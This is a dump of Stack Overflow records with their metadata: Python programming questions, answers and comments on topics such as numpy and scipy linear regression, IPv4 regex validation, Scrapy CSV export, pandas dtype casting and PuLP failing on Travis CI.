has body: I have a scatter plot which I want to fit a linear line of best fit to. The raw data is below: x = [2,5,10,20,30,50] y = [0.0013,0.0018,0.0067,0.0081,0.009,0.013] When I use numpy.polyfit(x,y,deg=1) and scipy.stats.linregress(x,y) I get different values for the slope and intercept. Why is this? I thought that maybe they are using slightly different algorithms, but the scipy version gives me a line that overestimates all of my data. Is the scipy function only for a specific application? Is there a way to reconcile this difference? I would like to know when to use which and the applicability of each function. Thank you. EDIT: Results in the form slope, intercept scipy: 0.000257290802691 0.00826916605228 numpy: 0.0002322 0.00212209 EDIT: Mistake was in a line of code that was changing my result for scipy. These functions do in fact give the same results to the level of accuracy I need.
has comment: http://stackoverflow.com/comment/86163410
favorite count: 0
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/86162851
tagged with: linear-regression
score: 1
has comment: http://stackoverflow.com/comment/86163079
has comment: http://stackoverflow.com/comment/86162588
has comment: http://stackoverflow.com/comment/86163311
has comment: http://stackoverflow.com/comment/86163626
has comment: http://stackoverflow.com/comment/86162888
downvote count: 1
tagged with: python
has answer: http://stackoverflow.com/a/49577691
has comment: http://stackoverflow.com/comment/86163411
has comment: http://stackoverflow.com/comment/86163524
has comment: http://stackoverflow.com/comment/86162980
accepted answer: http://stackoverflow.com/a/49577691
tagged with: scipy
type: Question
upvote count: 2
tagged with: numpy
has comment: http://stackoverflow.com/comment/86163446
has comment: http://stackoverflow.com/comment/86163619
has comment: http://stackoverflow.com/comment/86163203

http://stackoverflow.com/comment/86163846
type: Comment
has text: Woops, deleted my comment after you deleted yours. Well, technically the slicing approach would work on multi-line strings as well. Using regex, switching on and off the multi-line flag, would be equivalent to using slicing, switching whether or not you split the string on newlines first. Both methods support both cases with the proper tweaks.
comment on: http://stackoverflow.com/a/49578004
type: AnswerComment
score: 0

http://stackoverflow.com/q/49450979
duplicate of: http://stackoverflow.com/q/3462784
has title: Python Regular Expression - An input of less than 255
type: Question
has comment: http://stackoverflow.com/comment/85904911
has body: I am attempting to create a regular expression check in python to validate an IPv4 address. The rules for this address is that... It must contain 4 numbers less or equal to 255, each of which are separated by a period. For example... 243.2.176.12 or 1.1.1.1 I have created a regular expression to validate the format, i.e. the 3 digits between the periods. I am unsure of how to tackle the less than or equal to 255 limit. My current code: import re MyRegex = "^\d{1,3}\\.\d{1,3}\\.\d{1,3}\\.\d{1,3}$" while True: userip = input("Enter a string: ") if re.search(MyRegex,userip): print("Input accepted") else: print("Input Rejected") Thanks in advance.
answer count: 0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/85904411
tagged with: python
linked to: http://stackoverflow.com/q/3462784
score: 0
linked to: http://stackoverflow.com/q/5284147
tagged with: regex

http://stackoverflow.com/comment/86149224
score: 0
has text: No these are not solutions and they are in javascript @DebanjanB
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49570371

http://stackoverflow.com/q/49546831
has title: Python request parameter unix timestamp
has comment: http://stackoverflow.com/comment/86101188
downvote count: 1
favorite count: 0
type: Question
has body: I'm trying to get the JSON response from this URL: import time from time import mktime import requests import json header = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.162 Safari/537.36'} payload = { "jobCity":"null", "jobSkill":"null", "pageNumber":1, "userText":"", "jobTitleOrder":"null", "jobCityOrder":"null", "jobFunctionOrder":"null", "jobExperienceOrder":"null", "applyByOrder":"null", "regular":"true", "walkin":"true" } response = requests.post(url="https://ibegin.tcs.com/iBegin/api/v1/jobs/searchJ?at=",headers=header,json=payload,params=str(long((time.time()) * 1000))) json_obj = json.loads(response.text) print json_obj But the print result is empty : {u'message': u'Ok.', u'data': {u'jobs': [], u'totalJobs': 0}, u'result': u'Y'} instead of this : {"message":"Ok.","result":"Y","data":{"totalJobs":50,"jobs":[{"id":"120315J","jobTitle":"Python Developer ","location":"Singapore","functionName":"TECHNOLOGY","experience":"1-10","applyByDate":"27-APR-2018 11:59:59 PM","skills":"Python","walkin":"J","url":null},{"id":"120281J","jobTitle":"Java Developer","location":"Singapore","functionName":"TECHNOLOGY","experience":"3-8","applyByDate":"21-MAY-2018 11:59:59 PM","skills":"J2EE , Java","walkin":"J","url":null},{"id":"120280J","jobTitle":"Aws Tech Lead","location":"Singapore","functionName":"TECHNOLOGY","experience":"8-12","applyByDate":"30-APR-2018 11:59:59 PM","skills":"AWS redshift , Cloud AWS/Amazon","walkin":"J","url":null},{"id":"120277J","jobTitle":"Technical Support Executive","location":"Singapore","functionName":"IT INFRASTRUCTURE SERVICES","experience":"0-3","applyByDate":"30-APR-2018 11:59:59 PM","skills":"IT Infrastructure ","walkin":"J","url":null},{"id":"120276J","jobTitle":"Java Developer","location":"Singapore","functionName":"TECHNOLOGY","experience":"3-6","applyByDate":"30-APR-2018 11:59:59 PM","skills":"EJB , Weblogic Server , Java , JMS , Eclipse","walkin":"J","url":null},{"id":"1…
has comment: http://stackoverflow.com/comment/86101196
has answer: http://stackoverflow.com/a/49549302
accepted answer: http://stackoverflow.com/a/49549302
tagged with: python
type: AnsweredQuestion
score: 0
upvote count: 1
answer count: 1
tagged with: python-requests

http://stackoverflow.com/comment/86179460
type: QuestionComment
score: 1
type: Comment
has text: Possible duplicate of [Python Modulus Giving String Formatting Errors](https://stackoverflow.com/questions/9792387/python-modulus-giving-string-formatting-errors)
comment on: http://stackoverflow.com/q/49582297

http://stackoverflow.com/comment/85989863
comment on: http://stackoverflow.com/q/49492327
has text: Your question doesn't actually say what you are trying to do. I guess you are recording several sequences at different times and you have 5 cameras shooting the same scene? Then you want to put all the videos from 5 different cameras together in a subdirectory under each sequence? Or you want to put all sequences from camera 1 in one directory and all sequences from camera 2 in another? Please try and explain more clearly.
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/comment/86132307
type: QuestionComment
has text: I've accepted the edit @Peter Dolan so you have no reason to keep the downvote.
comment on: http://stackoverflow.com/q/49561978
score: 0
type: Comment

http://stackoverflow.com/comment/86042963
type: QuestionComment
comment on: http://stackoverflow.com/q/49518626
score: 3
has text: What about, `ModelName.objects.get_or_create(**kwargs)` ?
type: Comment

http://stackoverflow.com/comment/86086013
type: AnswerComment
score: 1
has text: @EdChum, bounty coming your way in a couple of days. A few comments in the `pandas` source would have been so helpful. Felt like a little merry-go-round.
comment on: http://stackoverflow.com/a/49539073
type: Comment

http://stackoverflow.com/q/49477978
favorite count: 0
type: Question
accepted answer: http://stackoverflow.com/a/49478370
has comment: http://stackoverflow.com/comment/85958516
upvote count: 2
has answer: http://stackoverflow.com/a/49478059
has body: I need to create a class whose instances can't have same values. If you create instance with value that have already been used you'll get old same instance. I did it using special class method: class A(): instances = [] def __init__(self, val): self.val = val @classmethod def new(cls, val): """ Return instance with same value or create new. """ for ins in cls.instances: if ins.val == val: return ins new_ins = A(val) cls.instances.append(new_ins) return new_ins a1 = A.new("x") a2 = A.new("x") a3 = A.new("y") print a1 # &lt;__main__.A instance at 0x05B7FD00&gt; S\ /M\ print a2 # &lt;__main__.A instance at 0x05B7FD00&gt; \A/ \E print a3 # &lt;__main__.A instance at 0x05B7FD28&gt; Is there a way to do it more elegant, without using .new method?
downvote count: 0
has answer: http://stackoverflow.com/a/49478348
possible better answer: http://stackoverflow.com/a/49478348
tagged with: python
has title: How to avoid creating objects with same values?
score: 2
has answer: http://stackoverflow.com/a/49478370
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/85958719
linked to: http://stackoverflow.com/q/100003
has comment: http://stackoverflow.com/comment/85958482
answer count: 3
has comment: http://stackoverflow.com/comment/85958607
has comment: http://stackoverflow.com/comment/85958659
tagged with: python-2.x
has comment: http://stackoverflow.com/comment/85958620

http://stackoverflow.com/comment/86169151
has text: it seems that none of the recipies work here (with a function). Or I'm not doing that properly: `inst.__class__ = type(_cls.__name__, (_cls,), {meth: lm}) TypeError: type 'function' is not an acceptable base type`
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/49580405
type: Comment

http://stackoverflow.com/comment/86056619
comment on: http://stackoverflow.com/q/49525218
type: QuestionComment
score: 0
has text: So what is your problem?
type: Comment

http://stackoverflow.com/q/49564890
accepted answer: http://stackoverflow.com/a/49619737
tagged with: python
answer count: 1
tagged with: travis-ci
has answer: http://stackoverflow.com/a/49619737
type: Question
score: 0
has comment: http://stackoverflow.com/comment/86218676
tagged with: testing
has title: PuLP not working with Travis CI?
type: AnsweredQuestion
has body: I use PuLP in my project and all tests pass on my local machine. But all tests involving PuLP fail when run by Travis CI. Here's an example failure: =================================== FAILURES =================================== ___________________________ test_scipy_sparse_matrix ___________________________ def test_scipy_sparse_matrix(): cluster_object = MaxPRegionsExact() cluster_object.fit_from_scipy_sparse_matrix(adj, attr, spatially_extensive_attr, &gt; threshold=threshold) region/max_p_regions/tests/test_exact.py:23: _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ region/max_p_regions/exact.py:153: in fit_from_scipy_sparse_matrix prob.solve(solver) ../../../virtualenv/python3.4.6/lib/python3.4/site-packages/pulp/pulp.py:1664: in solve status = solver.actualSolve(self, **kwargs) ../../../virtualenv/python3.4.6/lib/python3.4/site-packages/pulp/solvers.py:1362: in actualSolve return self.solve_CBC(lp, **kwargs) _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ self = &lt;pulp.solvers.COIN_CMD object at 0x7ff3e76ba9b0&gt; lp = Max-p-Regions: MINIMIZE 50.29999999999968*t_(0,_1) + 80.59999999999991*t_(0,_2) + 140.19999999999993*t_(0,_3) + 60.699... &lt;= x_(8,_8,_5) &lt;= 1 Integer 0 &lt;= x_(8,_8,_6) &lt;= 1 Integer 0 &lt;= x_(8,_8,_7) &lt;= 1 Integer 0 &lt;= x_(8,_8,_8) &lt;= 1 Integer use_mps = True def solve_CBC(self, lp, use_mps=True): """Solve a MIP problem using CBC""" if not self.executable(self.path): raise PulpSolverError("Pulp: cannot execute %s cwd: %s"%(self.path, &gt; os.getcwd())) E pulp.solvers.PulpSolverError: Pulp: cannot execute cbc cwd: /home/travis/build/yogabonito/region ../../../virtualenv/python3.4.6/lib/python3.4/site-packages/pulp/solvers.py:1372: PulpSolverError ----------------------------- Captured stdout call ----------------------------- start solving with &lt;pulp.solvers.COIN_CMD object at 0x7ff3e76ba9b0&gt; It looks like Travis cannot find the CBC CMD solver although ac…
tagged with: pulp

http://stackoverflow.com/comment/85934069
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/49463996
has text: Perhaps there are other names mapped to `127.0.0.1` in your `hosts` file that do not contain ASCII characters. Could you post your `C:\Windows\System32\drivers\etc\hosts` file and also the name of your computer.

http://stackoverflow.com/q/49443320
favorite count: 0
type: Question
tagged with: export-to-csv
upvote count: 2
type: UnansweredQuestion
tagged with: python
tagged with: scrapy-pipeline
has answer: http://stackoverflow.com/a/49444873
has title: Filter duplicate entries when exporting items with append mode in csvexports in Scrapy
answer count: 2
has answer: http://stackoverflow.com/a/49448815
has body: I am trying to figure out how to pre-check whether an item is already present in a row in the csv file to be exported. If the item is not present, then the item needs to be appended. Else the item should be discarded. So far I have done following in item pipeline but it doesn't work, as it appends to the csv file no matter what. My Pipelines.py: from scrapy import signals from scrapy.contrib.exporter import CsvItemExporter import csv class BlogscrapePipeline(object): def __init__(self): self.files = {} @classmethod def from_crawler(cls, crawler): pipeline = cls() crawler.signals.connect(pipeline.spider_opened, signals.spider_opened) crawler.signals.connect(pipeline.spider_closed, signals.spider_closed) return pipeline def spider_opened(self, spider): file = open('%s_items.csv' % spider.name, 'a+b') self.files[spider] = file self.exporter = CsvItemExporter(file) self.exporter.fields_to_export = ['Title','Link','Comments','Words'] self.exporter.start_exporting() def spider_closed(self, spider): self.exporter.finish_exporting() file = self.files.pop(spider) file.close() def process_item(self, item, spider): with open('%s_items.csv' % spider.name, 'rt',encoding='utf-8') as file: reader=csv.reader(file) for row in reader: if item not in row: self.exporter.export_item(item) return item The items.py: import scrapy class BlogscrapeItem(scrapy.Item): Title=scrapy.Field() Link=scrapy.Field() Comments=scrapy.Field() Words=scrapy.Field()
score: 1
tagged with: scrapy
downvote count: 1

http://stackoverflow.com/a/49566092
type: AcceptedAnswer
downvote count: 0
type: Answer
score: 2
has body: Whenever you are determining a link, if the link does not start with the protocol or //, it will be appended to the current path. Therefore, instead of action="localhost:5000/stop" just set it to action="//localhost:5000/stop", forcing it to use the same protocol you are using right now (http or https). The same should be done to the action="localhost:5000/data", becoming action="//localhost:5000/data"
answers question: http://stackoverflow.com/q/49566054
upvote count: 2
accepted answer of: http://stackoverflow.com/q/49566054

http://stackoverflow.com/a/49506813
score: 2
has body: The warning basically means that the number of iterations is not enough to find a solution within the desired tolerance. So the first step to try would be to increase the number of iterations. However, this does not work here because the function does not want to be (numerically) integrated. What's wrong with the function? Here is an even simpler function with the same behavior: def fint(phi): return 1/phi This may make the problem clearer to see: there is a pole (function returns inf) at phi=0. No matter how many iterations we use, there will always be increasingly bigger values the closer it gets to 0. If we do not include the pole in the integration range there is no warning: res, err = integrate.quadrature(fint, 0.5, 1, maxiter=100) print("The numerical result is {:f} (+-{:g})".format(res, err)) The numerical result is 0.693147 (+-6.53485e-10) (See how small the error is?) There is one more subtlety regarding the original warning about "Latest difference = nan". This indicates that your complicated functions produce nan values. That is often a result of calculating something like 0/0, inf/inf, inf - inf, ... We can reproduce this with another simple function: def fint(phi): return phi/phi That is basically a constant value with a tiny ugliness at phi = 0. res, err = integrate.quadrature(fint, -1, 1, maxiter=100) print("The numerical result is {:f} (+-{:g})".format(res, err)) The numerical result is 2.000000 (+-nan) RuntimeWarning: invalid value encountered in true_divide return phi/phi AccuracyWarning: maxiter (100) exceeded. Latest difference = nan To wrap it up, not every function can be integrated over any range. And not every function that can be integrated is suitable for numerical integration.
upvote count: 2
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/86020046
answers question: http://stackoverflow.com/q/49501864
accepted answer of: http://stackoverflow.com/q/49501864
type: Answer

http://stackoverflow.com/comment/86047264
type: AnswerComment
has text: `L = np.random.randint(0,high = 6, size = 10000000)` `%timeit np.reshape(L,(20,-1)).sum(1) 1.08 ms ± 69.7 µs per loop (mean ± std. dev. of 7 runs, 1000 loops each)`
comment on: http://stackoverflow.com/a/49520758
score: 0
type: Comment

http://stackoverflow.com/comment/86070489
has text: Possible duplicate of [Accessing parent class attribute from sub-class body](https://stackoverflow.com/questions/9760595/accessing-parent-class-attribute-from-sub-class-body)
comment on: http://stackoverflow.com/q/49532151
score: 2
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/86138873
comment on: http://stackoverflow.com/q/49564153
score: 0
type: Comment
type: QuestionComment
has text: my answer is not the answer you posted. post yourself an answer and choose that one. (i can't delete mine now)

http://stackoverflow.com/a/49453516
type: Answer
has comment: http://stackoverflow.com/comment/86089689
score: 0
has body: The docstring for pd.DataFrame.astype() includes the following: Signature: df.astype(dtype, copy=True, errors='raise', **kwargs) Docstring: Cast a pandas object to a specified dtype ``dtype``. Parameters ---------- dtype : data type, or dict of column name -&gt; data type Use a numpy.dtype or Python type to cast entire pandas object to the same type. Alternatively, use {col: dtype, ...}, where col is a column label and dtype is a numpy.dtype or Python type to cast one or more of the DataFrame's columns to column-specific types. So you just need to pass a dict to this method containing the column(s) and the corresponding new dtype you want; example provided below with generic data to change dtype of 2 out of 3 columns. import numpy as np import pandas as pd df = pd.DataFrame(2*np.random.randn(5,3), columns=['a', 'b', 'c']) # df is shown below a b c 0 0.104505 2.20864 -0.835571 1 -0.136716 1.94572 -0.640713 2 0.558393 1.47761 3.46805 3 1.57529 1.63724 -2.32679 4 -0.0480981 1.70924 1.79345 df.astype(dict(a=int, c=bool)) # returns the following a b c 0 0 2.20864 True 1 0 1.94572 True 2 0 1.47761 True 3 1 1.63724 True 4 0 1.70924 True
has comment: http://stackoverflow.com/comment/85973594
answers question: http://stackoverflow.com/q/49451018

http://stackoverflow.com/q/49550767
score: 0
tagged with: deep-learning
has answer: http://stackoverflow.com/a/49550920
has comment: http://stackoverflow.com/comment/86108778
tagged with: keras
has answer: http://stackoverflow.com/a/49552043
type: Question
tagged with: numpy
has answer: http://stackoverflow.com/a/49553289
has comment: http://stackoverflow.com/comment/86108762
possible better answer: http://stackoverflow.com/a/49550918
accepted answer: http://stackoverflow.com/a/49552043
tagged with: matplotlib
has answer: http://stackoverflow.com/a/49550918
tagged with: python
has comment: http://stackoverflow.com/comment/86108848
answer count: 4
has body: I want to read the information about 256 X 512 RGB images( I'm recording the data on my laptop in C:\folder_test). it So it is a 3D array with shape (256,512,3) third dimension holds the color R, G and B Now, I want to (load) read 45 such images and make a array of these images. So I decide to make a 4D array which will have dimension (45, 256, 512, 3) here 45 in first dimension is the number of images and the second, third and fourth dimension are the dimension of the image which are (256 , 512 , 3) I tried doing it using concatenate but I get errors. Is there any way to do this?
has title: how can save some 3d images in a 4d array in python?
type: AnsweredQuestion

http://stackoverflow.com/comment/85927774
has text: you could preprocess the data in the divisor list. for example: `if x % 4 == 0` -> `x % 2 == 0`
comment on: http://stackoverflow.com/q/49462442
score: 1
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/85941508
type: QuestionComment
has text: yes, sorry my mistake. Results were right but not the comparison with the Result column. Changed it. Thank you.
comment on: http://stackoverflow.com/q/49469223
type: Comment
score: 0

http://stackoverflow.com/comment/86049763
comment on: http://stackoverflow.com/q/49521920
type: Comment
type: QuestionComment
score: 0
has text: Can you import everything in the parent and then just `fork` the processes from there so they share the same memory space?

http://stackoverflow.com/a/49519688
has comment: http://stackoverflow.com/comment/86161665
has comment: http://stackoverflow.com/comment/86162095
type: Answer
upvote count: 2
score: 2
accepted answer of: http://stackoverflow.com/q/49519532
downvote count: 0
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/49519532
has comment: http://stackoverflow.com/comment/86161839
has body: The problem here is that you're trying add strings together -- notice how the prices in your original answer are in quotes and have the $ symbol, they're not just numbers! The way to solve this is to account for that in your adding. I'd avoid using the sum method here as it's not really designed for handling input like this. Here's one way to do it: sumCat={} for k, v in result.items(): summed_vals = 0 for price in v: if '-' in price: # takes into account the dollar sign/negative sign summed_vals -= float(price[2:]) else: summed_vals += float(price[1:]) # takes into account the dollar sign sumCat[k] = format(summed_vals, '.2f') # rounds to nearest cent print(sumCat) #output {'food': '173.19', 'kid': '175.00', 'entertainment': '76.02'}
has comment: http://stackoverflow.com/comment/86161710

http://stackoverflow.com/a/76043520
score: 0
answers question: http://stackoverflow.com/q/49546922
type: Answer
has body: For TensorFlow 2, we can modify batch_input_shape: model.summary() model_config = model.get_config() model_config["layers"][0]["config"]["batch_input_shape"] = (None, 10, 1) modified_model = tf.keras.Model.from_config(model_config) modified_model.summary()

http://stackoverflow.com/a/51958924
answers question: http://stackoverflow.com/q/49555066
type: Answer
upvote count: 1
has body: This looks like an issue with your connection string to me. Perhaps I am wrong, but it is looking like the error you are facing is it is not finding a server, and bases on the error it looks almost as if you are only getting the Driver=SQL Anywhere 16 passed to it. I mention that because in this question:Connecting to MS SQL Server with Windows Authentication using Python? They detail the following for the strings on multiple lines in the answer conn_str = ( r'Driver={SQL Server};' r'Server=.\SQLEXPRESS;' r'Database=myDB;' r'Trusted_Connection=yes;' ) cnxn = pyodbc.connect(conn_str) Additionally, when searching for multi line strings we see this answer here:How to correctly write a raw multiline string in Python? Which details: You'd need a r prefix on each string literal (r'on\e' r'\tw\o') 'on\\e\\tw\\o' Otherwise the first portion is interpreted as a raw string literal, but the next line of string is not, so the '\t' is interpreted as a tab character. So please try prefixing an r to each line of that literal string to make something more like import pyodbc import pandas as pd conn = pyodbc.connect(r'Driver={SQL Anywhere 16};' r'Server=***.**.**.***;' r'Database=**********;' r'Trusted_Connection=yes;' ) Data = pd.read_sql_query("SELECT * FROM * WHERE Date='20180328'", conn) print(Data) And see if that fixes your problem. EDIT: I edited to fix formatting.
score: 1
downvote count: 0

http://stackoverflow.com/q/49544690
type: AnsweredQuestion
tagged with: python-3.x
downvote count: 0
tagged with: csvtoarray
upvote count: 1
answer count: 1
has body: I am trying to stream a csv to azure blob storage, the csv is generated directly from python scripts without local copy, i have the following code, df is the csv file: with open(df,'w') as f: stream = io.BytesIO(f) stream.seek(0) block_blob_service.create_blob_from_stream('flowshop', 'testdata123', stream) then i got the error massage: stream = io.BytesIO(f) TypeError: a bytes-like object is required, not '_io.TextIOWrapper' i think the problem has been the format incorrect, can you please identify the problem. thanks.
tagged with: bytesio
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/49544794
has title: csv file convert to io.BytesIO object, then stream to blob storage ,meets value type error:a bytes-like object is required, not '_io.TextIOWrapper'
tagged with: azure-blob-storage
score: 1
tagged with: python
accepted answer: http://stackoverflow.com/a/49544794

http://stackoverflow.com/q/49479690
has comment: http://stackoverflow.com/comment/85963059
has comment: http://stackoverflow.com/comment/85962539
tagged with: function
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/85962403
has comment: http://stackoverflow.com/comment/85962821
has comment: http://stackoverflow.com/comment/85963464
upvote count: 1
score: -7
tagged with: data-structures
favorite count: 0
type: Question
tagged with: object
has comment: http://stackoverflow.com/comment/85962235
downvote count: 8
has title: How do I tell Python an object is a list?
has comment: http://stackoverflow.com/comment/85963445
has comment: http://stackoverflow.com/comment/85963029
tagged with: python
has answer: http://stackoverflow.com/a/49479801
has body: I felt real close finalizing a function I had been working on for some time, but there was a problem. I can't seem to be able to communicate with Python that an object I'm passing through a function is a list object. This is my function: log(a, b, c) My log function is supposed to take a string 'b', and append it to a list 'a' that may or may not exist already, and then take the -1 index of list 'a' (which is the b string) and append it to list 'c'. I needed mostly more automation out of this function. At the moment, without this function, on a daily basis I have to always code and define 'a' first, then add 'b' to it, append a bunch of stuff, and add a['b'] to c! Way too much work! I need the function to automate that entire process. This is the code I used in my attempt to implement my function: def log(a, b, c): try:a except NameError: a= None if a is None: a=list() a.append(b) c.append(a[-1]) else: a.append(b) c.append(a[-1]) When I try to use the function, in a case where 'a' is non-existent, Python keeps telling me: NameError: Name 'a' is not defined And that is without quotation marks. If I put quotation marks around the 'a' object, it then tells me: AttributeError: 'str' object has no attribute 'append' basically telling me that Python doesn't understand that the 'a' object is supposed to be a list, not a string (why is talking to computers so hard?). My function only works if object 'a' ('c' is not a concern because you can consider those a set of lists that are a constant in the program, 'a' is more of a variable because I need a new list everyday) is defined before the runtime of the log(). How can I pass an object through my function, and have Python accept that if it does not exist, it should be a new list object? People are asking for more code. Like I said in the comments, this is just the test of a function which will be eventually integrated into an existing script, where any value of ‘c’ exists already, but here’s what happens at the prompt: &gt;&g…
has answer: http://stackoverflow.com/a/49479905
has comment: http://stackoverflow.com/comment/85962402
has comment: http://stackoverflow.com/comment/85962983
has comment: http://stackoverflow.com/comment/85962411
has comment: http://stackoverflow.com/comment/85963015
has comment: http://stackoverflow.com/comment/85963780
has comment: http://stackoverflow.com/comment/85962462
answer count: 2
has comment: http://stackoverflow.com/comment/85963322

http://stackoverflow.com/comment/85899596
comment on: http://stackoverflow.com/q/49448581
score: 0
has text: I will mention that yesterday this script worked and now it doesn't. Why?
type: Comment
type: QuestionComment

http://stackoverflow.com/a/49469086
score: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/85956170
answers question: http://stackoverflow.com/q/49461366
type: Answer
has body: This also seems to be working fine for opening large number of images and doing joinarray on them so they are next to each other. Thanks @user894763 import os import pyvips # natsort helps with sorting the list logically from natsort import natsorted source = r"E:/pics/" output = r"E:/out/" save_to = output + 'final' + '.tif' # define list of pictures we are going to get from folder list_of_pictures = [] # get the for x in os.listdir(source): list_of_pictures.append(source + x) # list_of_pictures now contains all the images from folder including full path # since os.listdir will not guarantee proper order of files we use natsorted to do it list_of_pictures = natsorted(list_of_pictures) array_images = [] image = None # lets create array of the images for joining, using sequential so it use less ram for i in list_of_pictures: tile = pyvips.Image.new_from_file(i, access="sequential") array_images.append(tile) # Join them, across is how many pictures there be next to each other, so i just counted all pictures in array with len out = pyvips.Image.arrayjoin(array_images, across=len(list_of_pictures)) # write it out to file.... out.write_to_file(save_to, Q=95, compression="lzw", bigtiff=True)
downvote count: 0

http://stackoverflow.com/comment/85996416
comment on: http://stackoverflow.com/q/49495244
has text: @Jean-FrançoisFabre thanks it works
type: Comment
score: 0
type: QuestionComment

http://stackoverflow.com/a/68363197
type: Answer
has body: https://stackoverflow.com/a/68363046/8491363 I actually stumbled upon a similar problem and posted an answer to an also similar question. You have to use driver.get_log('performance') for this. Check out the answer link above for details.
score: 0
answers question: http://stackoverflow.com/q/49477424

http://stackoverflow.com/q/49493111
tagged with: http-status-code-400
has answer: http://stackoverflow.com/a/55298571
type: Question
tagged with: http2
has body: I want to send a post data requests to this URL : https://www.createsend.com/t/securedsubscribe?token=" + token Every time the token is changing but i figure out a way to retrieve it. But i can't acces the internet site When i check in Chrome Console this header is used. authority:www.createsend.com method:POST path:/t/securedsubscribe?token=7B9BCC9AE0CD58E2170E07A7D79E679426EBC1D02FA06CA791557CA7ACC1155F5A0DDA83D987E06C scheme:https accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 accept-encoding:gzip, deflate, br accept-language:fr cache-control:max-age=0 content-length:174 content-type:application/x-www-form-urlencoded cookie:__utma=38149500.1167947680.1522060606.1522060606.1522060606.1; __utmc=38149500; __utmz=38149500.1522060606.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); __utmt=1; _ga=GA1.2.1167947680.1522060606; _gid=GA1.2.485326558.1522060607; ajs_group_id=null; __qca=P0-314313712-1522060607057; mp_mixpanel__c=0; ajs_user_id=%22C5EC08CADFFC107B-B6DC4E4B6840339E%22; ajs_anonymous_id=%222e3961d1-be64-4ecf-8481-c8a47295b130%22; __utmv=38149500.|1=user-type=user=1; __utmb=38149500.2.10.1522060606; mp_1c1eda798f92601aecaa904fe7b3520a_mixpanel=%7B%22distinct_id%22%3A%20%22C5EC08CADFFC107B-B6DC4E4B6840339E%22%2C%22mp_lib%22%3A%20%22Segment%3A%20web%22%2C%22%24search_engine%22%3A%20%22google%22%2C%22%24initial_referrer%22%3A%20%22https%3A%2F%2Fwww.google.be%2F%22%2C%22%24initial_referring_domain%22%3A%20%22www.google.be%22%2C%22mp_name_tag%22%3A%20%22C5EC08CADFFC107B-B6DC4E4B6840339E%22%2C%22id%22%3A%20%22C5EC08CADFFC107B-B6DC4E4B6840339E%22%7D; _uetsid=_uetcde93ba3; optimizelyEndUserId=oeu1522060693722r0.545521542891791; optimizelyBuckets=%7B%7D; optimizelySegments=%7B%22341521689%22%3A%22direct%22%2C%22341576276%22%3A%22gc%22%2C%22341588087%22%3A%22false%22%2C%222833930025%22%3A%22none%22%2C%225027931715%22%3A%22true%22%2C%225195510267%22%3A%22true%22%7D; intercom-lou-je5td1qt=1; intercom-s…
has answer: http://stackoverflow.com/a/49493582
type: UnansweredQuestion
tagged with: python
tagged with: request
has title: Python Requests POST DATA Error 400 Header name invalid
score: 0
answer count: 2

http://stackoverflow.com/comment/86156189
type: AnswerComment
has text: You can correct your code for this `;400;126;116;106;` condition. It didn't mention the it but may face the same.
score: 1
type: Comment
comment on: http://stackoverflow.com/a/49573869

http://stackoverflow.com/comment/86179117
type: Comment
has text: No ..it's only "Value"
type: QuestionComment
comment on: http://stackoverflow.com/q/49585510
score: 0

http://stackoverflow.com/a/49480056
has comment: http://stackoverflow.com/comment/85963174
accepted answer of: http://stackoverflow.com/q/49479742
has comment: http://stackoverflow.com/comment/85963274
type: Answer
has comment: http://stackoverflow.com/comment/85963389
answers question: http://stackoverflow.com/q/49479742
has comment: http://stackoverflow.com/comment/85963037
score: 0
has comment: http://stackoverflow.com/comment/85963995
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/85963117
has body: You asked why your function does not return anything. It does return, actually, you just do not know. To know if it is returning the value, try to print it. So: print(correct_sentence(input()) Changing your code to this will make the code print the returned value.

http://stackoverflow.com/a/49454032
type: Answer
has body: You can try it @api.one @api.depends('b_id', 'b_id.tax_value') def compute_all(self): self.all_taxes = self.tax_value + self.tax_old Two things: It ist compute not _compute and you don't need to use self.update().
downvote count: 0
upvote count: 1
score: 1
answers question: http://stackoverflow.com/q/49449324

http://stackoverflow.com/comment/86085323
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49538582
has text: @Wen reindex().drop() does seem to work, that's pretty cool! Thanks. Since the graph2_edges is just an unordered set, how does that not mess with the indexing of the dataframe (graph1)?

http://stackoverflow.com/comment/85891923
has text: @Sraw - Thanks for your comment, Now i want to call the method using flask context. how to do this? (after my server started)
score: 0
type: Comment
comment on: http://stackoverflow.com/q/49445110
type: QuestionComment

http://stackoverflow.com/q/49596604
tagged with: sublist
type: Question
has answer: http://stackoverflow.com/a/49597053
accepted answer: http://stackoverflow.com/a/49597053
tagged with: split
downvote count: 0
has answer: http://stackoverflow.com/a/49596711
has comment: http://stackoverflow.com/comment/86202490
has answer: http://stackoverflow.com/a/49596670
has comment: http://stackoverflow.com/comment/86200770
has body: If I were to have a list, say: lst = ['foo', 'bar', '!test', 'hello', 'world!', 'word'] with a character of !, how would I return a list given: lst = ['foo', 'bar', ['test', 'hello', 'world'], 'word'] I'm having some difficulty finding a solution for this. Here's one approach I've tried: def define(lst): for index, item in enumerate(lst): if item[0] == '!' and lst[index+2][-1] == '!': temp = lst[index:index+3] del lst[index+1:index+2] lst[index] = temp return lst Any help would be greatly appreciated.
favorite count: 0
has comment: http://stackoverflow.com/comment/86200790
